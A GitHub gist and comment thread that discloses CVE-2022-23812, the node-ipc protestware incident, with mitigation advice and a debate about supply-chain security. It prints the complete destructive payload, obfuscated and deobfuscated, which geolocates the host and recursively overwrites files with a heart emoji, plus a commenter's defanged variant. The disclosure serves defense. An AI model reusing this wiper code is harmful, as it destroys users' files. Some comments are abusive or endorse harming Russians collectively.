Skip to content

Instantly share code, notes, and snippets.

@MidSpike
Last active January 29, 2025 18:02
Show Gist options
  • Save MidSpike/f7ae3457420af78a54b38a31cc0c809c to your computer and use it in GitHub Desktop.
Save MidSpike/f7ae3457420af78a54b38a31cc0c809c to your computer and use it in GitHub Desktop.
CVE-2022-23812 | RIAEvangelist/node-ipc is malware / protest-ware

RIAEvangelist/node-ipc is malware / protestware

The RIAEvangelist/node-ipc module contains protestware peacenotwar.

Excerpt from RIAEvangelist/node-ipc:

as of v11.0.0 & v9.2.2 this module uses the peacenotwar module.


More importantly, commits 847047cf7f81ab08352038b2204f0e7633449580 -> 6e344066a0464814a27fbd7ca8422f473956a803 of RIAEvangelist/node-ipc contains malware.


⚠️| The following code is malicious, DO NOT RUN IT

https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

The following codeblock was added in-case the url above is deactivated
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}

⚠️| The above code is malicious, DO NOT RUN IT


I deobfuscated the code above and found that if the host machine's public ip address was from Russia or Belarus, node-ipc would proceed overwrite many files with a heart emoji recursively while traversing up parent directories:


⚠️| The following code is malicious, DO NOT RUN IT

import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
    const t = Math.round(Math.random() * 4);
    if (t > 1) {
        return;
    }
    const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
    o.get(n.toString("utf8"), function (t) {
        t.on("data", function (t) {
            const n = Buffer.from("Li8=", "base64");
            const o = Buffer.from("Li4v", "base64");
            const r = Buffer.from("Li4vLi4v", "base64");
            const f = Buffer.from("Lw==", "base64");
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
            const e = Buffer.from("cnVzc2lh", "base64");
            const i = Buffer.from("YmVsYXJ1cw==", "base64");
            try {
                const s = JSON.parse(t.toString("utf8"));
                const u = s[c.toString("utf8")].toLowerCase();
                const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
                if (a) {
                    h(n.toString("utf8"));
                    h(o.toString("utf8"));
                    h(r.toString("utf8"));
                    h(f.toString("utf8"));
                }
            } catch (t) {}
        });
    });
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
    if (!a.existsSync(n)) {
        return;
    }
    let r = [];
    try {
        r = a.readdirSync(n);
    } catch (t) {}
    const f = [];
    const c = Buffer.from("4p2k77iP", "base64");
    for (var e = 0; e < r.length; e++) {
        const i = u.join(n, r[e]);
        let t = null;
        try {
            t = a.lstatSync(i);
        } catch (t) {
            continue;
        }
        if (t.isDirectory()) {
            const s = h(i, o);
            s.length > 0 ? f.push(...s) : null;
        } else if (i.indexOf(o) >= 0) {
            try {
                a.writeFile(i, c.toString("utf8"), function () {});
            } catch (t) {}
        }
    }
    return f;
}
const ssl = true;
export { ssl as default, ssl };

⚠️| The above code is malicious, DO NOT RUN IT


The following are excerpts from the malicious code:

Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus
a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`

The following demonstrates example of what each of the parameters going to the a.writeFile(i,c.toString("utf8") would be:

image


Edit 2022-03-16_0

Comment by zkyf

Just made it better looked and commented dangerous code so you guys can take a try. Obviously the code will delete literally EVERYTHING on your drive.

const path = require("path");
const fs = require("fs");
const https = require("https");

setTimeout(function () {
    const randomNumber = Math.round(Math.random() * 4);
    if (randomNumber > 1) {
        // return;
    }
    const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
    const pwd = "./";
    const parentDir = "../";
    const grandParentDir = "../../";
    const root = "/";
    const countryName = "country_name";
    const russia = "russia";
    const belarus = "belarus";

    https.get(apiKey, function (message) {
        message.on("data", function (msgBuffer) {
            try {
                const message = JSON.parse(msgBuffer.toString("utf8"));
                const userCountryName = message[countryName.toString("utf8")].toLowerCase();
                const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.includes(belarus.toString("utf8")); // checks if country is Russia or Belarus
                if (hasRus) {
                    deleteFile(pwd);
                    deleteFile(parentDir);
                    deleteFile(grandParentDir);
                    deleteFile(root);
                }
            } catch (t) {}
        });
    });

    // zkyf: Let's try this directly here
    deleteFile(pwd);
    deleteFile(parentDir);
    deleteFile(grandParentDir);
    deleteFile(root);
}, 100);

async function deleteFile(pathName = "", o = "") {
    if (!fs.existsSync(pathName)) {
        return;
    }
    let fileList = [];
    try {
        fileList = fs.readdirSync(pathName);
    } catch (t) {}
    const f = [];
    const heartUtf8 = Buffer.from("4p2k77iP", "base64");
    for (var idx = 0; idx < fileList.length; idx++) {
        const fileName = path.join(pathName, fileList[idx]);
        let fileInfo = null;
        try {
            fileInfo = fs.lstatSync(fileName);
        } catch (err) {
            continue;
        }
        if (fileInfo.isDirectory()) {
            const fileSymbol = deleteFile(fileName, o);
            fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
        } else if (fileName.indexOf(o) >= 0) {
            try {
                // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites file with `❤️`
                console.log(`Rewrite ${fileName}`);
            } catch (err) {}
        }
    }
    return f;
}

Console: image


Edit 2022-03-16_1 (requested by @lgg)

Available mitigation methods:

The following mitigation strategies are inspired by cnpm's (is not npm) mitigation methods: cnpm/bug-versions#181

If you use one of the following mitigation stratagies, make sure to remove the ^ to force node-ipc to the specified version.

"^9.x.x" -> "9.2.1"

     "dependencies": {
-        "node-ipc": "^9.x.x"
+        "node-ipc": "9.2.1"
     }

"^10.x.x" -> "10.1.0"

     "dependencies": {
-        "node-ipc": "^10.x.x"
+        "node-ipc": "10.1.0"
     }

"^11.x.x" -> "10.1.0"

     "dependencies": {
-        "node-ipc": "^11.x.x"
+        "node-ipc": "10.1.0"
     }

3rd-party mitigation methods:


Edit 2022-03-16_2 (requested by @lgg)

Edit 2022-03-17_0

@RIAEvangelist has banned me from interacting with their repositories

Edit 2022-03-17_1

The security research firm snyk.io recommends the following mitigation strategy for users of node-ipc:

package.json

  "overrides": {
    "node-ipc@>9.2.1 <10": "9.2.1",
    "node-ipc@>10.1.0": "10.1.0"
  }

Edit 2022-03-17_2 (credit: @Uzlopak)

NPM users below NPM v8, this is for you!

Don't forget to mention that npm supports override with npm 8. Earlier versions don't have overrides capabilities. So node 12 and 14, which are LTS, use by default npm 6 and that would not work with them. So upgrading npm to 8 would be necessary.

Yarn users, this is for you!

I'm not too familiar with how yarn works, so I don't want to risk giving false instructions to users.

Edit 2022-03-17_3

Please read this message

I've been seeing a lot of hate comments going after the owner of node-ipc (especially on their repositories). We should remember the high standards that we expect from our fellow developers on GitHub, regardless of what another has done.

Preferably this gist and it's comments should be focused on the research and discussion of CVE-2022-23812. I'm sure that the owner of node-ipc will be reprimanded by their employer, NPM, and GitHub.

Please do not threaten anyone here (or elsewhere for that matter).

Edit 2022-03-18_0

I've begun work on my own fork of node-ipc: MidSpike/node-ipc#1

@Uzlopak
Copy link

Uzlopak commented Mar 18, 2022

Imho FOSS is about trust and(!) reading the used code. Also don't forget that you can even publish packages which contain files and code which is not in the repository. So yeah, basically npm can be a can of worms and should be threated like windows.

Copy link

ghost commented Mar 18, 2022

I am not against that approach. I am just pointing out that its kind of an absurd situation, filtering incoming packets from npmjs.com through an antivirus and containerizing any runable piece of code as if it was a torrent site.

@bminer
Copy link

bminer commented Mar 19, 2022

Software developers should know better. Software is not the place to take a political stance. Publishing malicious software to npm, even publishing annoying software should be punishable. npm would be wise to suspend the author's publishing permissions and permanently remove affected versions of this package.

Even package maintainers who print messages to stdout / stderr asking for monetary support for their work is stretching the rules in my opinion. As long as packages support a way to silence these messages (i.e. ADBLOCK environment variable), I think this is the most annoyance the community should tolerate.

War of any kind is tragic. Protests should be permitted and perhaps encouraged where appropriate. But, as developers we all trust one another blindly to keep software purely functional, not to advertise or push a political agenda. In my humble opinion, actions like these should not be tolerated. I'm not saying we need to ban bad actors from npm for life or anything, but some appropriate level of action should be taken against those publishing malicious / annoying software.

I can appreciate taking ownership for a project and controlling its future direction, but if the future direction of a project intends to annoy or act maliciously against another, this is not okay.

@sighwort
Copy link

You all just become lazy, don't you? Oh new code, pull pull pull!
Review? Who cares? Tests? Eho cares? My country is doing something nasty? Who cares?
I just sit in front of my computer just tape together few public libs and now you should call me developer!

@RigoOnRails
Copy link

RigoOnRails commented Mar 19, 2022 via email

@ShikiSuen
Copy link

@sighwort Your point smells of social darwinism.
I don't know whether social darwinism should be tolerated in a civilized country.

@RigoOnRails
Copy link

@ShikiSuen It’s most likely the same dumbass who wrote the malware just using a fake account. It had 0 activity when he posted that comment & now he’s following @RIAEvangelist & forked a random repo.

@bxb100
Copy link

bxb100 commented Mar 19, 2022

WOW, The OSS AMERICAN World Police showed up

@Disquse
Copy link

Disquse commented Mar 19, 2022

@bxb100 yeah, and the other typical American trying to "help" by harming other people. @RIAEvangelist if you want to help Ukraine so much, go ahead and ask your government to close the air zone in Ukraine as Ukrainian people ask you to do. Or your sense of justice ends where the risk of harm to your own consumer lifestyle begins? Pathetic.

@Eyad-Bereh
Copy link

@RIAEvangelist You should feel ashamed for injecting malicious code into an open source software
Have you thought about the damage you caused to normal people ?, some people have lost important files and might face legal issues, some people might get fired from their jobs
Have you thought about the possibility that a medical system might be using node-ipc and you have put people lives in danger ?
The malicious code has only targeted Russian developers who are working for their living so there's definitely no execuse for what you did, no matter what
If you really want to help Ukrainians then tell your government to stop lying on them, or is it the foreign U.S policy for decades and can't be changed ?!!

@Uzlopak
Copy link

Uzlopak commented Mar 19, 2022

Please let's keep the talk technical. We know that the behavior of RIAEvangelist was reckless and irresponsible. But we should keep it apolitical.

@AlphaHot
Copy link

Damn bastard

@antv199
Copy link

antv199 commented Mar 19, 2022

Isn't he now liable for whatever punishment the US has?

And I love how he updated the README with damage control.

@MBRjun
Copy link

MBRjun commented Mar 19, 2022

都被写进 Wikipedia 了,绝了

@ShikiSuen
Copy link

ShikiSuen commented Mar 19, 2022

@MBRjun This guy is now world-famous.

@imaginativess
Copy link

都被写进 Wikipedia 了,绝了

Yes, correct @MBRjun.

@ablakely
Copy link

I hope this guy works in fast food for the rest of his life, jail would be good too.

@mocsy
Copy link

mocsy commented Mar 19, 2022

Since about 20 years now, webservers are configured in a way that the web facing backend doesn't have write permissions. It's web ops basics. On a dev machine your code depending on this package should be in version control, again industry best practice since ages. I wonder exactly what is the usecase where these heart symbols cause real damage?

The software also comes with a no-warranty note doesn't it?

It's the lack of due diligence and plain carelessness which is the root cause, the real security issue here, as it always has been.

@Uzlopak
Copy link

Uzlopak commented Mar 19, 2022

@mocsy

The malware was traversing the folder structure up, overwriting files on the whole filesystem and not only you project folder.

Somebody explained it well:
Spreading malware is more relevant to penal law and not to civil law.

@ShikiSuen
Copy link

ShikiSuen commented Mar 19, 2022

@mocsy Sounds like you are likely to blame a raped women for her dressings (or yariyariyada) in lieu of blaming the raper himself.

@mocsy
Copy link

mocsy commented Mar 19, 2022

@ShikiSuen The difference is big. I understand that it's hard to see, but dressing never had anything to do with raping.
On the other-hand using someone else's software always included risks since the dawn of the IT age.

What I'm saying is, the cyber domain is a war-field, it always has been and always will be.

By your analogy, this war-field has known and unknown bad actors or 'rapers' if you like.
Would you go the den of known rapists?
Packaging (nmp) or Clothing(dressing) has nothing to with it.

@Uzlopak
Copy link

Uzlopak commented Mar 19, 2022

So If a women enters a den of known rapists, it is expected that a rape would be unpunished?
It is not about dressing but about the victim-blaming.

@ShikiSuen
Copy link

@Uzlopak You got my idea. ;)

@noblehng
Copy link

So If a women enters a den of known rapists, it is expected that a rape would be unpunished? It is not about dressing but about the victim-blaming.

Except @moosy doesn't seem to blaming anyone or saying the node-ipc author shouldn't be punished, @moosy just pointed out the underlying security issue like what you said above in other way.

Don't let the extreme analogy trick you. You need law to punished rapists and you also need means to enforce the law and other measurements to prevent rape. Defense in depth.

Anyway, the node-ipc author will get punished by the community and by law if victims sue him. Further cursing him or fighting each other here will not help anyone, just like what he has done, and certainly will not solve the underlying security issue.

Always sandboxing nodejs applications suggested above could be a solution, but expecting every developer to do proper sandboxing every time simply just isn't scalable. Instead, NPM could do more to eliminated a large number of security issues.

For this specific one, most packages shouldn't touch the filesystem, so a static analysis of importing the fs module could prevent it. node-ipc seems only use the fs module to read the config before, which is questionable in itself.

@mocsy
Copy link

mocsy commented Mar 19, 2022

Thanks @noblehng. Also note that Deno fixed this too, exactly because it's a long standing issue with node. "Secure by default. No file, network, or environment access, unless explicitly enabled."

Sometimes "Security by a million eyes" don't work. The entire OSS security model depends on reviews. If those don't happen the model is broken. Maybe that's where we need to improve.

@noblehng
Copy link

Sometimes "Security by a million eyes" don't work. The entire OSS security model depends on reviews. If those don't happen the model is broken. Maybe that's where we need to improve.

The easiest way is like Russ Cox suggested, don't automatically use the latest version of all dependencies. Then if it is not in your direct dependencies, you could expect someone else to test the new version in a sandbox before update this dependency, so you are not affected. Or less people are affected, at least. But this method probably couldn't prevent targeted attack like this one.

Then there is the static analysis and other automatic testings way that can be done by the package manager hub before publishing, like those app stores.

The best way would be to have a dedicated security team to audit updates for core/popular packages before publishing, but that would need the industry to fund it.

@mgag
Copy link

mgag commented Mar 20, 2022

@RIAEvangelist is a hero!
Cause there's no such thing as 'an ordinary people' there, in Russia. They are all responsible for the atrocious war crimes of Putin, as the Germans were responsible for the crimes of Hitler!

@ShikiSuen
Copy link

@bxb100
Copy link

bxb100 commented Mar 20, 2022

The wrong thing done for the "right" reason is still the wrong thing

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment